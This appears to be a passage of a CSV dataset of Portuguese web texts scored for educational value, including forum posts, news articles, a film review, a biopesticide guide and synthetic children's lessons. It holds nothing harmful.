Potter) liga os dois parques e somente quem tem ingresso com a opção Park to Park pode entrar na estação. +21 de mai de 2015 03:22 +Comprar ingressos pra Disney no Brasil tem a vantagem de liberar o fast pass (passe para pegar fila bem menor em alguns brinquedos) com antecedência. Se tiver ingresso válido, você pode reservar fast pass 30 dias antes da viagem. Se tiver reserva em algum hotel do Resort+ingresso, pode reservar 60 dias antes. +22 de mai de 2015 13:32 +Veja, comprar antecipado é vantagem pelo FP+, seja comprar no brasil seja comprar no site da Disney. +A diferença é cotação do dólar e forma de pagamento. Comprar na CVC, Decolar, Tam Viagens ou qualquer outra agência tem a vantagem de pagar em reais (com a cotação do dia). +Comprar no site da Disney você tem que ter o cartão internacional, paga IOF e a cotação do dólar da fatura. +Eu só não gosto de comprar no Brasil e ter que retirar em um posto de Orlando, como algumas agências fazer. Se for para comprar aqui tem que ser como comprar no site dos parques, caso contrário não vale a pena. +26 de mai de 2015 03:06 +Compra o ingresso aqui no Brasil e tem que retirar lá? +Editado em: 26 de Maio de 2015, 03:07 +26 de mai de 2015 09:18 +Bom dia. Dependendo da loja sim. Isso é algo para perguntar antes de fechar a compra. +Salvo engano na CVC é esse esquema, eles te dão um voucher para retirar os ingressos em um lugar na International Drive em Orlando +26 de mai de 2015 11:25 +Preciso verificar isso , fui em março e comprei na entrada do parque , porém qdo estava lá dentro vi que tem forma mais rápida ,ou seja ficar menos tempo nas filas e como voltarei em agosto com a família ,estou planejando melhor , gostei das dicas sobre carro , não ia alugar , mas já estou pensando melhor +26 de mai de 2015 12:43 +Opa, vamos devagar, rs. +Sobre os ingressos é bom verificar pois no caso dos parques da Disney com o código antecipado você pode se cadastrar no site (link abaixo) e fazer o registro gratuito do Fastpass podendo agendar até 3 atrações por dia (e depois de usar os Fastpass+ pode agendar outros no mesmo dia). +https://disneyworld.disney.go.com/pt/plan/ +Nos parques da Universal você pode comprar o Express pass e o Expressa Pass Unlimited a diferença é que o segundo você pode pegar quantas vezes a fila expressa você quiser, no primeiro só uma vez. Lembrando que as atrações mais ""requisitadas"" como o Harry Potter não aceitam o express pass. +Editado em: 26 de Maio de 2015, 12:44 +27 de mai de 2016 04:16 +Removido em: 27 de Maio de 2016, 04:16",original,original,original,original,2,0.4 +"Unicef reclama um Conselho que proteja as crianças na Rede | TIC, Educação e Web +← SEGURANET – Vem aí o novo sítio dedicado à segurança na Internet +Web 2.0. O utilizador, o novo rei da Internet → +Unicef reclama um Conselho que proteja as crianças na Rede +Publicado em Novembro 26, 2007 por Jorge Borges +Convite à prostituição, corrupção de menores e conselhos para anorécticas e bulímicas são algumas das atrocidades encontradas em sítios web destinados a crianças e jovens e que aparecem no documento Autorregulación?… E mais. A protecção e defesa dos direitos da infância na Internet. O estudo foi realizado por investigadores da Universidad Carlos III de Madrid -e nele participaram Agustín Luis G. Matilla e Tíscar Lara- por encomenda do Comité Espanhol da Unicef. +A suas observações foram tão concludentes, que a agência das Nações Unidas que vela pelo cumprimento dos direitos das crianças alteraram a sua posição inicial -pedia exclusivamente a auto regulação do sector- e agora solicita outras medidas de protecção, como um Conselho da Internet que vigie os conteúdos ilegais e nocivos contra os menores. Este organismo teria capacidade para fechar e sancionar aquelas páginas cujos conteúdos atentem contra a integridade do menor. +Para a Unicef, que considera tão importante o direito à informação dos menores como o seu direito a serem protegidos, o estudo mostra uma realidade que aconselha a actuar a três níveis: a auto regulação do sector, a legislação e a formação das famílias e dos utilizadores. O mais inovador do trabalho é o método seguido pelos investigadores, que navegaram durante seis meses (de Julho a Novembro de 2006), do ponto de vista de uma criança, por diferentes sítios web e analisaram alguns chats e fóruns. Também pesquisaram em diversos motores mediante a introdução de palavras chave. “Não só há numerosos riscos, conteúdos e práticas inadequadas na Internet, como estas ameaças também acontecem em páginas e serviços dirigidos a meninos e meninas”. +Um dos exemplos ilustra a presença de “predadores adultos” em chats. Ao introduzir a expressão “chat crianças” no Google, a primeira opção entre mais de dois milhões de páginas seleccionadas remete a “Aprende jogando/ Um Chat para pequenos gigantes”. Durante a observação, os investigadores detectaram a presença de um adulto que em duas ocasiões tentou recolher dados pessoais de duas meninas de 10 e 11 anos, em nenhuma com êxito. +Os fóruns são o lugar onde mais irregularidades se registaram, com ligação a títulos de sexualidade explícita, alguns de pornografia infantil, e outros, directamente, anúncios de adultos à procura de menores para encontros sexuais (alguns deles pagos). A procura por palavras chave n��o tem melhor sorte. Termos como ‘jogos’, ‘bonecas’, ‘juguetes’, ‘meninas’, ‘amigas’, ‘baixar música’ ou ‘videojogos’ podem levar a criança a “páginas verdadeiramente aberrantes”. +A extrema violência de alguns dos videojogos disponíveis na Rede, a publicidad enganosa ou os abusos de prácticas comerciais para captar dados pessoais através de formulários de registo são outros extremos destacados no documento. +No capítulo de possíveis soluções, o documento cita ferramentas como a combinação de ‘filtros software-catalogação de conteúdos’ ou os chamados portais de navegação segura. Também que haja moderadores em todos os chats e fóruns dirigidos a crianças e adolescentes, ou o estabelecimento de mecanismos eficazes de certificação da idade. +LOLA LARA – Madrid – 26/11/2007 +Esta entrada foi publicada em Educação, Formação, Internet, Recursos, Segurança na Internet, Web. ligação permanente. +Manual da Literacia Digital da Internet +A biblioteca como motor de inclusão social e digital das suas comunidades",original,original,original,original,4,0.8 +"Inscrições abertas para 11º Encontro de Matemática +Estão abertas as inscrições Encontro Sul-Mato-Grossense de Educação Matemática (XI ESEM) que acontecerá na UEMS de Nova Andradina de 15 a 17 de agosto. Esse evento tem como público alvo profissionais da área de Matemática, bem como alunos e pesquisadores. Esse ano, o debate será: ""Contextualização: contribuições para o ensino e a aprendizagem da Matemática"". Mais informações podem ser obtidas em: http://www.uems.br/eventos/encontromatematica. +Demais informações estão disponíveis no site do evento http://www.uems.br/eventos/encontromatematica ou na Secretaria Acadêmica. +A Coordenação do Evento está a cargo do Professor Antonio Sales.",original,original,original,original,3,0.6 +"O primeiro look de Verão no Algarve! - A Miúda dos Saltos Altos +O primeiro look de Verão no Algarve! +Como já vos disse, estou a passar uns dias de férias no Algarve e por isso mostro-vos aqui o primeiro look de Verão numa saída à noite. +Assim que vi os calções gostei imenso deles mas ainda bem que esperei para os comprar porque consegui um desconto de 15€ nos saldos! +é do tipo de tops que não consigo encontrar em nenhuma loja...nervos. Os calções são assim qualquer coisa de giros que já tinha perguntado à Helena (Devil wears Louboutin) onde os tinha comprado! Boa compra! ;) +Vê na Stradivarius, eu comprei este e um branco mas também tinham em rosa e amarelo mostarda. +Adorei o look!! Está simples mas perfeita! Tenho esse top :D e conjugaste-o muito bem, excelente compra os calções! +Estás muito gira :) Os calções são realmente bonitos. +Muito bonita! Adorei completamente os calções, são super, super lindos. :) +Estas tao gira! Adoro os calçoes, a cor do top e o colar! Linda!! Saudades tuas! Beijo enorme <3 +Nadinha de Importante 25 de julho de 2013 às 10:15 +Os calções são, realmente, muito giros :D +Os calções são mesmo muito bonitos... Adorei todo o look... +Que gata :D esses calções são assim qualquer coisa de espectacular :D +Os calções são realmente bonitos! +Precisava mesmo de um top dessa cor, para uma saia que comprei nos saldos da Zara!!! Adorei os calções :) bj +Preciso de um top dessa cor para uma saia que comprei na zara, uma saia cruzada que tem um padrão floral!!! Adorei o look! Beijinho +Olá, Gostei muito do look, principalmente dos calções :D +Estás tão gira.:D Gosto especialmente dos calções são lindos. Ainda os vi nos saldos mas não era o meu tamanho.:s +Eu primeiramente vi-os no Colombo mas não trouxe logo, voltei lá no dia seguinte e já não tinham mas depois a minha mãe vi-os no Vasco da Gama :) +Tão bonita :) Esse tom de verde, que eu adoro, fica-te a matar! Um look de Verão muito elegante! +Este Verão estou viciada neste tom! +Obrigada por todos os comentários <3 +Catarina Correia 29 de julho de 2013 às 12:16 +Fiquei com vontade de ir às compras!!!!!",original,original,original,original,0,0.0 +"Olá, pequenos exploradores! Já pararam para pensar como o Brasil é grande e cheio de lugares diferentes? Nosso país é como um baú de tesouros, cada cantinho com uma paisagem especial para descobrirmos. Vamos embarcar nessa aventura geográfica e conhecer um pouco mais sobre as paisagens brasileiras? + +Imagine que você está viajando de carro com sua família. Olhe pela janela! O que você vê? Talvez muitas árvores verdinhas formando uma floresta, ou um campo aberto com vacas e cavalos pastando. Ou quem sabe, prédios altos e muitas casas juntinhas em uma cidade grande. Tudo isso são paisagens! As paisagens são tudo aquilo que podemos ver e sentir em um lugar. Elas podem ser naturais, como as florestas, rios e montanhas, ou construídas pelas pessoas, como as cidades, plantações e estradas. + +No Brasil, temos uma variedade incrível de paisagens. Na Amazônia, encontramos a maior floresta tropical do mundo, com rios enormes e uma vegetação exuberante. No Nordeste, as praias são lindas, com areia branquinha e água quentinha, além de cidades históricas com construções antigas. No Sul, faz muito frio no inverno e podemos ver campos com araucárias, árvores típicas da região. E no Centro-Oeste, o Cerrado nos presenteia com uma vegetação única, com árvores baixas e retorcidas. + +As paisagens também mudam com o tempo. Uma floresta pode ser desmatada para dar lugar a uma plantação, ou uma cidade pode crescer e ocupar áreas que antes eram campos abertos. Essas mudanças acontecem por causa das atividades humanas, como a agricultura, a construção de estradas e cidades, e a exploração de recursos naturais. + +É importante cuidarmos das nossas paisagens, pois elas são importantes para a nossa vida e para a vida de outros seres vivos. Precisamos proteger as florestas, os rios e os mares, e usar os recursos naturais de forma consciente, para que as futuras gerações também possam desfrutar da beleza e da riqueza do nosso país. + +E você, qual a paisagem do Brasil que mais te encanta? Já visitou algum lugar especial? Que tal desenhar a sua paisagem favorita e compartilhar com seus amigos e familiares? Explorar as paisagens do Brasil é uma aventura incrível e nos ajuda a entender melhor o mundo em que vivemos!",Geografia,Paisagens brasileiras,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, especialmente para os anos iniciais do ensino fundamental. Introduz o conceito de paisagem de forma acessível e envolvente, utilizando exemplos do cotidiano e da diversidade brasileira. Incentiva a reflexão sobre a importância da preservação ambiental e a conexão com o mundo ao redor. A linguagem é clara, o conteúdo é relevante e a proposta de atividade final é adequada à faixa etária, tornando-o um excelente recurso para o ensino.",5,1.0 +"Crítica | “Rampage: Destruição Total” - CineOrna +Crítica | “Rampage: Destruição Total” +postado por Gabriel Lisboa em 11 de abril de 2018 +Com toda certeza “Rampage: Destruição Total” é um dos filmes com as maiores cenas de ação e destruição que você verá na vida! Falo com tranquilidade isso, pois do começo ao fim vemos o tanto que eles tentam passar um ‘ar de grandeza’ ao filme, seja pela história quanto pelos personagens, e isso já começa pelo gigante Dwayne Johnson. +A história gira em torno de um primatólogo (The Rock) que trabalha em um zoológico, e seu protagonismo é combinado ao gorila albino, Georgie. E tanto o mesmo quanto um lobo e um jacaré são infectados por um composto químico geneticamente modificado com fórmula que carrega combinação de DNA de vários animais (e por aí vai), e a partir disso as criaturas se tornam gigantescas. +Para você que talvez não saiba, “Rampage: Destruição Total” é baseado em um vídeo game criado em 1986, onde os protagonistas assumiam o controle dos monstros, e basicamente no filme essa base se encaixa bem, afinal, não há muito o que explorar, estamos falando de um filme de destruição em massa. Desmembrando o filme analisamos o seguinte: primeiramente, te aconselho a ver esse filme em um cinema IMAX, por razões óbvias, o IMAX é extremamente indicado, pois só ‘melhora’ a empolgação de ver algo grande em uma tela maior ainda. Segundo, se você tirar a ação do filme ele se tornaria um longa extremamente pobre e fraquíssimo. +Dwayne sempre interpretando bem qualquer papel que dão a ele, mas o restante do elenco é muito pobre, com atuações ridículas, que mais parecem coisa de desenho animado com vilões caricaturados. Malim Akerman interpreta Claire Wyden, dona de uma bilionária companhia que trabalha com edição genética, responsável pela criação dos monstros. Jack Lacy faz Bretty Wyden, irmão de Clarie, e seu papel é o pior de todos, extramente forçado, estúpido, tapado, nem parece um empresário de porte gigantesco, mas sim o personagem assistente pateta que não serve para nada. Jeffrey D. Morgan, apesar de ser um excelente ator, não surpreendeu. Joe Manganiello, apesar de ser um ator famosinho até, tem uma ponta curta, interpretando o papel que combina com ele, o de militar. +“Rampage: Destruição Total” tem diálogos ruins, as piadas são muito fracas. A maneira como se desenvolve o longa é bem fraquinha. Ponto alto para a computação gráfica e o 3D, que tentam salvar o filme, impecável, muito bem feito, os monstros perfeitos. Tirando o fato de que o filme força demais a barra em muitos momentos, onde um ser humano normal já teria morrido várias vezes, os personagens mais parecem seres imortais. Desconsiderando tudo isso e se for para comprar a ideia de que é um blockbuster para ser vendido, pois então você talvez se agrade. +“Rampage: Destruição Total” é um filme para ver uma vez no cinema e infelizmente esquece-lo, a não ser que você seja um grande fã de enormes destruições e monstros, aí neste caso, ficará bem servido. +Universal Pictures divulgou o trailer de “Johnny English 3.0” +Crítica | ""Baseado em Fatos Reais""",original,original,original,original,1,0.2 +"Educação no Reino Unido – Wikipédia, a enciclopédia livre +A Educação no Reino Unido é uma sistema descentralizado, com cada um dos países do Reino Unido tendo um sistema diferente, gerenciado pelo governo desses países.[1] +Sistema Educacional da Irlanda do Norte",original,original,original,original,3,0.6 +"Já parou para pensar em como tudo está conectado ao nosso redor? As árvores que nos dão sombra, os animais que vemos nos parques, a água que bebemos… Tudo isso faz parte de um grande sistema chamado meio ambiente. E a ecologia é a ciência que estuda essa complexa relação entre os seres vivos e o ambiente em que vivem. + +Imagine uma teia de aranha gigante. Cada fio representa uma conexão entre os elementos da natureza. Se um fio se rompe, toda a teia pode ser afetada. Por exemplo, se derrubarmos muitas árvores em uma floresta, os animais que vivem ali perdem seu lar e podem até desaparecer. A água dos rios pode ficar poluída, prejudicando os peixes e as plantas aquáticas. E o solo, sem a proteção das raízes das árvores, pode ser levado pela chuva, causando erosão. + +A ecologia nos ajuda a entender como essas relações funcionam e como podemos cuidar melhor do nosso planeta. Pense na sua casa. Você se preocupa em manter tudo limpo e organizado, certo? Com o planeta Terra, nossa casa maior, não é diferente. Precisamos cuidar do ar que respiramos, da água que bebemos, do solo onde plantamos nossos alimentos e de todas as formas de vida que existem. + +Um exemplo prático de como a ecologia se manifesta em nosso dia a dia é a reciclagem. Quando separamos o lixo em casa, estamos contribuindo para que os materiais possam ser reaproveitados, evitando o acúmulo de resíduos em aterros sanitários e a exploração de recursos naturais. Outro exemplo é o consumo consciente. Ao escolher produtos que são feitos de forma sustentável, ou seja, que não prejudicam o meio ambiente, estamos ajudando a preservar os recursos naturais para as futuras gerações. + +É importante lembrar que cada um de nós tem um papel importante na proteção do meio ambiente. Pequenas atitudes, como economizar água e energia, plantar árvores, usar transporte público ou bicicleta em vez de carro, fazem toda a diferença. Afinal, o futuro do nosso planeta está em nossas mãos. O que você tem feito para cuidar da nossa casa comum? Que tal começar hoje mesmo?",Ciências,Meio ambiente e ecologia,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional. Introduz o conceito de ecologia de forma acessível, utilizando analogias como a teia de aranha para facilitar a compreensão. Apresenta exemplos práticos e relevantes para o dia a dia dos alunos, incentivando ações de preservação ambiental. O texto é claro, coerente e adequado para o ensino fundamental, promovendo a conscientização e o engajamento dos estudantes com a temática ambiental.",5,1.0 +"Já parou para pensar como seria o mundo sem os animais e as plantas? Seria bem diferente, não é mesmo? Animais e plantas são seres vivos que compartilham o planeta conosco e são super importantes para a nossa vida e para a vida na Terra. Vamos descobrir um pouco mais sobre eles? + +Primeiro, vamos falar dos animais. Existem muitos tipos diferentes, desde os bem pequenos, como as formigas, até os grandões, como as baleias. Cada um tem um jeito especial de viver, de se alimentar e de se proteger. Alguns animais, como os cachorros e os gatos, vivem pertinho da gente, nas nossas casas. Outros, como os leões e as girafas, vivem em lugares mais distantes, como as savanas africanas. Mas todos eles, sem exceção, precisam de cuidados e respeito. + +E as plantas? Ah, as plantas são verdadeiras fábricas de vida! Elas produzem o oxigênio que respiramos e servem de alimento para muitos animais, inclusive para nós. As plantas também são muito diferentes entre si. Tem as árvores gigantes, como os ipês que enfeitam as cidades com suas flores coloridas, e tem as plantinhas pequenas, como as margaridas que alegram os jardins. Algumas plantas dão frutos deliciosos, como a mangueira, enquanto outras nos presenteiam com flores perfumadas, como as rosas. + +Agora, pense um pouquinho: de onde vem o ar que você respira? E a maçã que você comeu no lanche? Viu só como os animais e as plantas estão presentes em tudo o que fazemos? É por isso que é tão importante cuidarmos deles e do meio ambiente. Quando jogamos lixo na rua, por exemplo, podemos prejudicar os animais que vivem ali. E quando queimamos as florestas, estamos destruindo a casa de muitos animais e plantas. + +Para finalizarmos, que tal começarmos a observar mais de perto os animais e as plantas que vivem perto de nós? Podemos plantar uma flor no jardim, cuidar de um bichinho de estimação ou simplesmente prestar atenção nos passarinhos que cantam na janela. Pequenas atitudes como essas fazem uma grande diferença para o nosso planeta e para a nossa vida. Lembre-se: todos nós fazemos parte desse grande e incrível mundo dos animais e das plantas!",Ciências,Animais e plantas,anos iniciais (1º ao 5º ano),"O trecho recebe 5 pontos. Apresenta informações básicas relevantes sobre animais e plantas (1 ponto). Aborda elementos pertinentes à educação ambiental, embora de forma introdutória (1 ponto). Introduz conceitos importantes relacionados ao currículo escolar de ciências (1 ponto). A escrita é clara e consistente, com conteúdo adequado para o ensino fundamental (1 ponto). O texto é excepcional em seu valor educacional, com raciocínio detalhado e linguagem de fácil compreensão, incentivando a reflexão e a ação (1 ponto).",5,1.0 +Venha conhecer o espaço ideal para o seu dia inesquecível!,original,original,original,original,0,0.0 +"Consultoria Híbrida PGAD | Geração F5 +PGAD – Programa de Gestão de Alto Desempenho +Mente consciente e definição de metas. +Mente inconsciente e comunicação não-verbal. +Entender nossos papéis nos sistemas em que estamos inseridos. +Gestão de pessoas & Estratégia – processos para criar times de alto desempenho. +No início da nossa jornada, nossa especialidade era falar sobre mudanças comportamentais a partir do autoconhecimento. +Aos poucos, aprendemos que o alto desempenho é atingido quando há uma boa base de processos organizando as nossas rotinas. +Por último, aprendemos que a tecnologia, entre tantos benefícios, nos ajuda a monitorar resultados e garantir um crescimento exponencial. +Objetivos do PGAD +O foco do PGAD é auxilixar micro e pequenas empresas do varejo de todo o Brasil que tenham forte ambição de crescimento. +Desenvolvimento de cultura de excelência no atendimento, para melhorar a experiência de compra do cliente. +Criação de uma cultura focada em resultados comerciais – de atendentes para vendedores. +Atração e desenvolvimento de profissionais de alto desempenho (do desempenho suficiente ao livre); +Desenvolvimento dos atuais e formação de novos líderes. +– Melhor a experiência de compra do cliente; +– Mindset focado em resultados +(Todos somos vendedores) +Os Pilares do Método +0. Cultura +Entender melhor a empresa observando missão, visão e valores, definição de papéis, modelo de negócio e avaliação de liderança +Perceber a importância de possuir um padrão de atendimento, desenvolver o padrão da sua empresa, treinar seu time, medir resultados através de avaliações periódicas, assim aprimorar a experiência de compra do cliente. +Construir times focados em resultados comerciais, transformar atendentes em vendedores, diferenciar e medir metas individuais e por time (etapas do funil), metas mensais com acompanhamento diário. +Desenvolver profissionais de alto desempenho, sair do desempenho suficiente para o desempenho livre (autoliderança), através de avaliações de desempenho individual (por função) com fechamento mensal com acompanhamento diário. +Entender a importância de um ambiente limpo e organizado, melhorar a sintonia do clima organizacional e preservar a saúde dos colaboradores, através de checkllist da estrutura organizacional avaliada periodicamente s identificando.",original,original,original,original,3,0.6 +"Investir em educação é eficaz para redução de homicídios, diz Unicef - Perfil News - Notícias de Três Lagoas e região +Início Notícias Educação Investir em educação é eficaz para redução de homicídios, diz Unicef +17/06/2019 17h40 +Entidade aposta no acesso à escola como um mecanismo fundamental para reverter a tendência atual que pode levar à morte de quase 2 milhões de crianças e adolescentes no mundo até 2030. +Um conjunto de estudos promovidos e apoiados pela Fundo das Nações Unidas para a Infância (Unicef), vinculada à Organização das Nações Unidas, apontam evidências de que garantir o direito à educação é uma estratégia eficaz para a proteção da vida e para a prevenção da violência. Com base em tais pesquisas, a entidade aposta no acesso à escola como um mecanismo fundamental para reverter a tendência atual que, segundo ela, pode levar à morte de quase 2 milhões de crianças e adolescentes no mundo até 2030. +Os estudos estão em debate no seminário “Educação é Proteção contra a Violência”, que começou hoje (17) e está reunindo especialistas, autoridades, sociedade civil e lideranças adolescentes no Museu do Amanhã, no Rio de Janeiro. O evento é organizado pela Unicef em parceria com a Cidade Escola Aprendiz, uma organização da sociedade civil de interesse público, que se dedica a promover perspectiva integral da educação. +As pesquisas revelam ainda que, na maior parte das vezes, o jovem vítima de homicídio está fora da escola ou em vias de abandoná-la. “Estar na escola é um fator de proteção”, avalia Florence Bauer, representante do Unicef no Brasil. No Ceará, por exemplo, um levantamento feito em Fortaleza e em outros seis municípios mostrou que 70% dos meninos e meninas assassinados haviam largado a escola há, pelo menos, seis meses. +Aos participantes do seminário, foi distribuída a publicação Educação que protege contra a violência, na qual o Unicef concentra os principais dados em torno do assunto. O documento traz, por exemplo, um levantamento de 2015 segundo o qual a América Latina responde por quase a metade de todos os homicídios ocorridos no mundo envolvendo adolescentes de 10 a 19 anos. A região é a única do planeta que apresenta aumento desses índices desde 2007. +No Brasil, os dados apontam que 32 meninos e meninas entre 10 e 19 anos são vítimas de homicídio a cada dia, o que coloca o país na primeira posição em número absoluto de assassinatos de adolescentes no mundo. Proporcionalmente, os números brasileiros são inferiores apenas aos registrados na Venezuela, Colômbia, El Salvador e Honduras. +Segundo Florence Bauer, trata-se de um problema que afeta de forma mais incisiva um perfil específico: jovens negros de família de baixa renda. “Vivem em territórios vulneráveis e violentos, sem acesso adequado a serviços de saúde, assistência social, educação, esporte e lazer”, diz. Entre 2007 e 2017, mais de 107 mil adolescentes entre 10 e 19 anos no Brasil morreram em decorrência da violência. Para cada sete vítimas, cinco são negras. +Há estudos que também revelam o medo como fator que prejudica o acesso à educação. Na Pesquisa Nacional de Saúde Escolar (PeNSE), realizada pelo Instituto Brasileiro de Geografia e Estatística (IBGE), 14,8% dos estudantes do 9º ano entrevistados em 2015 declararam ter deixado de ir à escola ao menos um dia nos 30 dias anteriores por não se sentirem seguros no caminho de ida ou de volta. Além disso, 9,5% disseram que, nesse mesmo período, se ausentaram em algum momento da aula por não se sentirem seguros no próprio ambiente escolar. +Uma investigação em 99 escolas realizada pela Faculdade de Medicina da Universidade de São Paulo (USP) mostrou a diferença de percepção desse quadro na comparação entre instituições públicas e privadas. Na capital paulista, 41,2% dos diretores das escolas públicas consideraram alta a violência no entorno. Esse percentual cai para 22,6% entre os diretores de escolas particulares. +O seminário continua amanhã (18) quando será apresentado um panorama do enfrentamento d...",original,original,original,original,4,0.8 +"Olá, pequenos exploradores! Já pararam para pensar em como medimos as coisas ao nosso redor? Medir é como descobrir um segredo, um número mágico que nos conta o tamanho, o peso, a capacidade ou até mesmo a duração de algo. É uma ferramenta super útil que usamos todos os dias, mesmo sem perceber! + +Imagine que você está ajudando a fazer um bolo delicioso. A receita pede 2 xícaras de farinha. A xícara é uma forma de medir a quantidade de farinha necessária. Se colocarmos menos, o bolo pode ficar duro. Se colocarmos mais, pode ficar massudo. Viu só? Medir é importante para o bolo ficar perfeito! + +E quando você vai comprar uma barra de chocolate? Olha lá no rótulo! Lá está escrito o peso, geralmente em gramas (g). O peso nos diz a quantidade de chocolate que você está comprando. Uma barra com mais gramas tem mais chocolate, certo? + +Outro exemplo: quando vamos encher uma piscina inflável, precisamos saber quanta água cabe nela. A capacidade da piscina é medida em litros (L). Saber quantos litros a piscina comporta nos ajuda a não desperdiçar água e a enchê-la na medida certa para a diversão! + +Até mesmo o tempo é medido! Usamos relógios para marcar as horas, os minutos e os segundos. Assim, sabemos quando é hora de ir para a escola, de brincar ou de dormir. O tempo nos ajuda a organizar o nosso dia e a aproveitar cada momento. + +Mas, como fazemos para medir? Usamos diferentes instrumentos! Para medir o comprimento, podemos usar uma régua, uma fita métrica ou até mesmo os nossos passos! Para medir o peso, usamos balanças. Para medir a capacidade, usamos jarras e copos medidores. E para medir o tempo, usamos relógios e calendários. + +Aprender sobre medidas é como abrir uma porta para um mundo cheio de possibilidades. Com as medidas, podemos construir casas, cozinhar pratos deliciosos, planejar viagens e entender melhor o mundo ao nosso redor. Que tal começar a explorar o mundo das medidas hoje mesmo? Pegue uma régua, uma balança ou um relógio e comece a medir tudo o que encontrar! O que você descobriu de mais interessante sobre as medidas ao seu redor? Será que o seu brinquedo favorito é mais alto ou mais baixo que um livro? Divirta-se explorando!",Matemática,Medidas e grandezas,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de medidas de forma lúdica e acessível para crianças, com exemplos práticos e cotidianos (bolo, chocolate, piscina, tempo). A linguagem é clara e estimulante, incentivando a exploração e a descoberta. Aborda diferentes tipos de medidas (comprimento, peso, capacidade, tempo) e instrumentos utilizados, adequados ao ensino fundamental, especialmente nos anos iniciais. O texto é coerente, focado e promove um aprendizado estruturado sobre o tema.",5,1.0 +"Olá, exploradores do conhecimento! Já pararam para pensar na beleza e diversidade do nosso Brasil? Nosso país é um verdadeiro mosaico de paisagens, cada uma com suas características únicas e histórias fascinantes. Hoje, vamos embarcar em uma aventura para descobrir um pouco mais sobre esses cenários incríveis! + +Imagine que você está viajando pelo Brasil. No Norte, a imponente Floresta Amazônica se estende como um mar verde, abrigando uma biodiversidade impressionante e rios majestosos como o Amazonas. Essa paisagem exuberante é resultado da combinação de um clima quente e úmido, que favorece o crescimento de uma vegetação densa e variada. Já no Nordeste, as praias paradisíacas com coqueiros e águas cristalinas contrastam com o sertão, uma região mais seca e com uma vegetação adaptada à falta de água, como a caatinga. As paisagens litorâneas do Nordeste são moldadas pela ação do mar e dos ventos, enquanto o sertão reflete a luta pela sobrevivência em um ambiente desafiador. + +Descendo para o Sudeste, encontramos grandes cidades como São Paulo e Rio de Janeiro, com seus prédios imponentes, avenidas movimentadas e uma vida cultural agitada. Mas, além das áreas urbanas, o Sudeste também possui belas montanhas, como a Serra da Mantiqueira, e um litoral recortado com praias e ilhas. A paisagem do Sudeste é uma mistura de elementos naturais e construções humanas, refletindo a história da ocupação e desenvolvimento da região. No Sul, as paisagens são marcadas pelos campos verdejantes, onde a criação de gado e o cultivo de grãos são importantes atividades econômicas. As araucárias, árvores típicas da região, dão um charme especial à paisagem sulista, que também apresenta características climáticas diferentes, com invernos mais frios e até mesmo a ocorrência de neve em algumas áreas. + +E no Centro-Oeste? Lá, o cerrado, com sua vegetação rasteira e árvores retorcidas, divide espaço com áreas de produção agrícola. O Pantanal, a maior planície alagável do mundo, abriga uma fauna riquíssima, com aves, jacarés, capivaras e muitos outros animais. As paisagens do Centro-Oeste são marcadas pela grandiosidade e pela importância para a conservação da biodiversidade brasileira. + +Percebem como o Brasil é diverso? Cada região, cada paisagem, conta uma história sobre o clima, o relevo, a vegetação e as pessoas que ali vivem. Explorar essas paisagens é uma forma de conhecer melhor o nosso país e valorizar a sua riqueza natural e cultural. + +Que tal agora pensarmos juntos? Como as atividades humanas podem influenciar e transformar as paisagens brasileiras? Quais são os desafios e as oportunidades para a conservação dessas paisagens? Refletir sobre essas questões é fundamental para construirmos um futuro mais sustentável e harmonioso para o nosso Brasil!",Geografia,Paisagens brasileiras,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, abordando a diversidade geográfica do Brasil de forma envolvente e acessível. Introduz conceitos importantes como biomas e características regionais, incentivando a reflexão sobre a interação entre atividades humanas e o meio ambiente. A linguagem é clara e adequada para o ensino fundamental, promovendo o aprendizado de forma contextualizada e estimulante, o que o torna um recurso valioso para o ensino de geografia e ciências.",5,1.0 +"Os medicamentos usados ​​para combater as pragas do solo podem ser não apenas sintéticos. Produtos biológicos baseados em componentes vivos também são usados. Considere a composição, forma de liberação do ""Nemabact"", o princípio de funcionamento, os benefícios e malefícios do medicamento, seu uso conforme as instruções, compatibilidade com agrotóxicos, regras de armazenamento e substitutos. +Composição e forma de liberação +O medicamento ""Nemabakt"" é fabricado pela empresa ""Biodan"". A forma preparativa é uma suspensão aquosa de nematóides da espécie Steinernema carpocapsae (Weiser). 1 g de uma esponja de espuma contém 5 milhões deles.O agente tem um efeito intestinal sobre as pragas. A droga está disponível em sacos plásticos, cada um contendo 50 milhões de nematóides predadores. +Princípio e escopo de ""Nemabakt"" +É usado para processar repolho, mudas de groselha e plantas ornamentais cultivadas em estufas. Pragas: mosca do repolho, vidro de groselha, mitra enrugada. +Princípio de ação: os nematóides infectados com uma bactéria simbiótica entram na larva da praga, se alimentam do conteúdo, se multiplicam ativamente, depois deixam uma casca vazia e encontram outro inseto. Os vermes que habitam a área do solo o limpam não apenas no ano de aplicação, mas também por 2-3 anos consecutivos, hibernam antes do frio e tornam-se ativos novamente na primavera. +Os benefícios e prejuízos dos fundos +""Nemabakt"" é completamente inofensivo para pessoas, animais, abelhas, peixes, minhocas. Basta fazer um único tratamento, os nematóides continuarão a lutar contra as pragas por pelo menos 2 anos, eles permanecerão vivos, mesmo que as larvas do inseto, seu alimento, não estejam no solo. Os nematóides matam os insetos na idade das larvas e não têm tempo para prejudicar as plantas. Quando usado corretamente, o produto não agride plantas, solo e organismos benéficos. +Instruções para o uso de ""Nemabakt"" para diferentes culturas +Para que o ""Nemabakt"" funcione, você precisa trazê-lo na hora especificada, quando os insetos estão em um determinado estágio de desenvolvimento. Isso deve ser feito pelo menos 1-2 semanas antes do início da fase desejada, para que os vermes tenham tempo de penetrar no solo e se espalhar nele. +Opinião de um 'expert +Zarechny Maxim Valerievich +Engenheiro agrônomo com 12 anos de experiência. Nosso melhor especialista em chalés de verão. +Para o repolho da mosca do repolho, o ""Nemabakt"" é aplicado com água de irrigação no plantio de mudas. Taxa de aplicação: 125-250 mil vermes por planta. Consumo: 200-400 litros por hectare. +Recortes de groselha de vidro de groselha são processados ​​colocando-os em areia umedecida com uma solução de ""Nemabakt"" durante 3 dias. Taxa de aplicação: 200-300 vermes por metro cúbico veja areia. Temperatura de processamento - 25 ˚С. As plantas ornamentais são tratadas à razão de 10 mil nematóides por planta. Regado com solução, gastando 400 litros por hectare. +Para preparar a solução, você precisa usar água morna, você pode mexer em um balde comum. As camas são regadas com solução Nemabakt de manhã ou à noite quando está chovendo ou nublado. A temperatura do ar não 